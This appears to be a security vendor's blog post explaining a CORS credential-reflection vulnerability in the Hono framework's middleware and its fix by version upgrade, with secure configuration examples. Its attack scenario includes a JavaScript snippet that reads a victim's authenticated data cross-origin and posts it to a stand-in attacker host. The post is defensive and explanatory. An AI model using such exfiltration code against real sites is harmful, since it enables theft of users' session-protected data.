Back to Blog
high SEVERITY5 min read

How CORS credential reflection happens in Hono middleware and how to fix it

A high-severity CORS misconfiguration in Hono's middleware (CVE-2026-54290) allowed any origin to be reflected with credentials when the `origin` option defaulted to wildcard. This vulnerability in the studio frontend could enable attackers to steal authenticated user data through cross-origin requests. The fix upgrades Hono from 4.12.21 to 4.12.25, which properly handles CORS origin validation.

O
By Orbis AppSec
Published June 29, 2026Reviewed June 29, 2026

Answer Summary

CVE-2026-54290 is a CORS credential reflection vulnerability in the Hono web framework for JavaScript/TypeScript. When the CORS middleware's `origin` option defaults to wildcard (`*`), it incorrectly reflects any requesting origin while also sending credentials, violating the Same-Origin Policy. The fix is to upgrade Hono to version 4.12.25 or later, which properly validates origins before reflecting them with credentials.

Vulnerability at a Glance

cweCWE-346 (Origin Validation Error)
fixUpgrade Hono from 4.12.21 to 4.12.25
riskCross-origin data theft via credential reflection
languageJavaScript/TypeScript (Node.js)
root causeHono CORS middleware reflects any origin with credentials when origin defaults to wildcard
vulnerabilityCORS Origin Reflection with Credentials

Introduction

In the studio frontend application, a high-severity vulnerability was discovered in the studio/frontend/package-lock.json dependency manifest. The Hono web framework version 4.12.21 contained a critical flaw in its CORS middleware that could expose authenticated users to cross-origin attacks.

This isn't just a theoretical concern—the vulnerability (CVE-2026-54290) allows any malicious website to make authenticated requests to the affected application and steal sensitive data. For a studio frontend that likely handles user sessions and potentially sensitive creative assets, this represents a serious security risk.

The Vulnerability Explained

What Went Wrong in Hono's CORS Middleware

Hono is a lightweight, ultrafast web framework popular for building APIs and web applications. Its CORS middleware is designed to handle Cross-Origin Resource Sharing headers, which control how browsers allow cross-origin requests.

The vulnerability exists in how Hono's CORS middleware handles the default configuration. When developers don't explicitly set the origin option, it defaults to a wildcard (*). However, the middleware was incorrectly reflecting the requesting origin in the Access-Control-Allow-Origin response header while simultaneously setting Access-Control-Allow-Credentials: true.

This combination is dangerous because:

  1. Wildcard origins cannot be used with credentials according to the CORS specification
  2. Reflecting arbitrary origins allows any website to make credentialed requests
  3. The browser trusts the response and includes cookies/authentication headers

The Attack Scenario

Consider this attack against the studio frontend:

// Attacker's malicious website: evil-site.com
fetch('https://studio-app.example.com/api/user/data', {
  credentials: 'include',  // Send cookies
  method: 'GET'
})
.then(response => response.json())
.then(data => {
  // Attacker now has the victim's data
  fetch('https://evil-site.com/steal', {
    method: 'POST',
    body: JSON.stringify(data)
  });
});

When a logged-in user visits the attacker's site, their browser would:
1. Send a request to the studio app with their session cookies
2. Receive a response with Access-Control-Allow-Origin: https://evil-site.com
3. Receive Access-Control-Allow-Credentials: true
4. Allow the malicious JavaScript to read the response

The attacker could steal user data, session tokens, or any information accessible to the authenticated user.

Why This Matters for CLI Tools

The PR notes this is a CLI tool, meaning exploitation requires the attacker to control arguments or input files. However, the frontend component (studio/frontend) likely serves a web interface for the CLI tool, making browser-based attacks relevant when users access the studio through a web browser.

The Fix

Upgrading Hono to 4.12.25

The fix upgrades Hono from version 4.12.21 to 4.12.25, which properly handles CORS origin validation. The changes appear in studio/frontend/package-lock.json and studio/frontend/package.json.

Before (vulnerable):

{
  "hono": "4.12.21"
}

After (fixed):

{
  "hono": "4.12.25"
}

What Changed in Hono 4.12.25

The patched version of Hono's CORS middleware now:

  1. Properly validates origins before reflecting them
  2. Prevents wildcard + credentials combination at the middleware level
  3. Requires explicit origin configuration when credentials are enabled

The diff also shows additional changes to peer dependency declarations for various platform-specific packages (@rollup/rollup-android-arm64, @rollup/rollup-darwin-arm64, etc.), adding "peer": true to ensure proper dependency resolution. These changes ensure the package-lock.json accurately reflects the dependency tree after the upgrade.

Code Changes in the Diff

The visible portion of the diff shows modifications to platform-specific Rollup packages:

"os": [
  "android"
],
"peer": true,  // Added
"engines": {
  "node": ">= 10"
}

These peer dependency additions across multiple platform packages (android-arm64, darwin-arm64, darwin-x64, linux variants, win32 variants) are side effects of the npm dependency resolution when upgrading Hono. The critical security fix is the Hono version bump itself.

Prevention & Best Practices

1. Explicitly Configure CORS Origins

Never rely on default CORS configurations. Always specify allowed origins:

import { Hono } from 'hono';
import { cors } from 'hono/cors';

const app = new Hono();

// ✅ Secure: Explicit origin configuration
app.use('/api/*', cors({
  origin: ['https://trusted-domain.com', 'https://app.example.com'],
  credentials: true,
}));

// ❌ Vulnerable: Default/wildcard with credentials
app.use('/api/*', cors({
  credentials: true,
  // origin defaults to '*' - DANGEROUS!
}));

2. Use Origin Validation Functions

For dynamic origin validation, use a function:

app.use('/api/*', cors({
  origin: (origin) => {
    const allowedOrigins = ['https://trusted-domain.com'];
    return allowedOrigins.includes(origin) ? origin : null;
  },
  credentials: true,
}));

3. Keep Dependencies Updated

Regularly update your dependencies and use automated security scanning:

# Check for vulnerabilities
npm audit

# Update to patched versions
npm update hono

4. Implement Dependency Scanning in CI/CD

Use tools like Trivy, Snyk, or npm audit in your CI/CD pipeline to catch vulnerable dependencies before deployment.

Key Takeaways

  • Hono versions before 4.12.25 have a CORS middleware flaw that reflects any origin with credentials
  • The studio/frontend component was vulnerable to cross-origin data theft through this misconfiguration
  • Dependency scanning with Trivy caught this vulnerability in the package-lock.json before it could be exploited
  • Always explicitly configure CORS origins rather than relying on framework defaults
  • CLI tools with web frontends still need browser security protections like proper CORS configuration

How Orbis AppSec Detected This

  • Source: The Hono CORS middleware receiving cross-origin requests with the Origin header
  • Sink: The Access-Control-Allow-Origin response header reflecting arbitrary origins with Access-Control-Allow-Credentials: true
  • Missing control: Proper origin validation before reflecting the origin in CORS responses
  • CWE: CWE-346 (Origin Validation Error)
  • Fix: Upgraded Hono from 4.12.21 to 4.12.25, which properly validates origins before reflecting them with credentials

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

CVE-2026-54290 demonstrates how a subtle misconfiguration in CORS middleware can create serious security vulnerabilities. The Hono framework's default behavior of reflecting any origin with credentials violated fundamental browser security principles and could have allowed attackers to steal authenticated user data from the studio frontend.

The fix—upgrading to Hono 4.12.25—is straightforward, but the lesson is clear: always explicitly configure security-sensitive middleware options, keep dependencies updated, and use automated scanning to catch vulnerabilities before they reach production.

References

Frequently Asked Questions

What is CORS credential reflection?

CORS credential reflection occurs when a server's CORS middleware echoes back any requesting origin in the Access-Control-Allow-Origin header while also setting Access-Control-Allow-Credentials to true, allowing malicious sites to make authenticated cross-origin requests.

How do you prevent CORS credential reflection in Node.js?

Always explicitly configure allowed origins in your CORS middleware rather than using wildcards, validate origins against a whitelist, and ensure your framework version properly handles the combination of credentials and origin validation.

What CWE is CORS credential reflection?

CORS credential reflection falls under CWE-346 (Origin Validation Error), which covers improper validation of the origin of a request that could allow attackers to bypass access controls.

Is setting Access-Control-Allow-Origin to * enough to prevent CORS attacks?

No, using a wildcard (*) for Access-Control-Allow-Origin without credentials is safe, but the browser prevents combining wildcards with credentials. The vulnerability occurs when middleware incorrectly reflects arbitrary origins while also allowing credentials.

Can static analysis detect CORS credential reflection?

Yes, static analysis tools like Trivy can detect vulnerable library versions with known CORS misconfigurations. Dependency scanning is particularly effective for catching these issues in package-lock.json files.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #6736

Related Articles

high

How integer overflow in malloc happens in C bipartite matching and how to fix it

A high-severity integer overflow vulnerability was discovered in the bipartite matching algorithm implementation where unchecked multiplication operations for memory allocation could wrap around, causing undersized buffer allocations and subsequent heap overflow. The fix replaces vulnerable `malloc(sizeof(int) * V)` patterns with safe `calloc(V, sizeof(int))` calls and adds proper bounds validation to prevent exploitation.

high

How integer truncation heap overflow happens in C++ UEFI ACPI parsing and how to fix it

A high-severity integer truncation vulnerability was discovered in `Mobility.Uefi.Acpi.cpp` where heap allocation sizes were stored in a 16-bit integer (`MO_UINT16`), causing silent truncation when the computed size exceeded 65535 bytes. This led to undersized heap allocations followed by out-of-bounds writes, exploitable by an attacker who can influence ACPI SRAT table contents in virtualized environments. The fix promotes the size variable to `MO_UINTN` (platform-native width) to prevent trunc

critical

How API key exposure in configuration files happens in TOML config and how to fix it

A critical security vulnerability in `commands/webperf.toml` allowed API keys to be hardcoded directly in configuration files, creating a credential exposure risk. The documentation on line 11 suggested developers could provide `CRUX_API_KEY` or `GOOGLE_API_KEY` directly in the config, which could lead to these sensitive credentials being committed to version control or exposed in logs. The fix updated the documentation to explicitly require environment variables and warn against hardcoding cred

high

How path traversal happens in Ruby YARD server and how to fix it

A high-severity path traversal vulnerability (CVE-2026-41493) in YARD versions prior to 0.9.42 allowed attackers to read arbitrary files from servers running `yard server`. This fix upgrades the yard gem from 0.9.26 to 0.9.42 in the Gemfile and Gemfile.lock, closing a dangerous information disclosure vector that could expose configuration files, credentials, and source code.

high

How buffer overflow via sprintf() happens in C networking code and how to fix it

A high-severity buffer overflow vulnerability was discovered in `profile.c` where `sprintf()` was used to format server addresses without any bounds checking. An attacker who could influence the `SERVER_BASE_PORT` value or trigger integer overflow in the port calculation could write beyond the `server_address` buffer. The fix replaces `sprintf()` with `snprintf()` using explicit buffer size limits at both call sites (lines 99 and 220).

critical

How shell command injection happens in Python subprocess and how to fix it

A critical shell command injection vulnerability was discovered in the radare2 build system's `meson.py` file, where `os.system()` was used with an f-string to execute git commands. An attacker who could control the `remote` variable could inject arbitrary shell commands. The fix replaces `os.system()` with `subprocess.call()` using a list of arguments, eliminating shell interpretation entirely.